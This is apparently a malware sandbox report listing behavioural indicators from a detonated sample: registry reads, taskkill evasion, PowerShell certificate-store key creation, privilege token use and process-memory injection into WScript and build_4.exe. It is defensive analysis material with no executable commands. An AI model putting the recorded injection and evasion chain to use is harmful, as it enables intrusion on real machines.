Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Public\Windows.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Public\Windows.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fd360b-0000-0000-0000-d01200000000}\MaxCapacity = "14116" C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\SysWOW64\rundll32.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
N/A N/A C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2368 wrote to memory of 96 N/A C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe C:\Windows\SysWOW64\WScript.exe
PID 2368 wrote to memory of 96 N/A C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe C:\Windows\SysWOW64\WScript.exe
PID 2368 wrote to memory of 96 N/A C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe C:\Windows\SysWOW64\WScript.exe
PID 96 wrote to memory of 4212 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 96 wrote to memory of 4212 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 96 wrote to memory of 4212 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 4212 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 4212 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
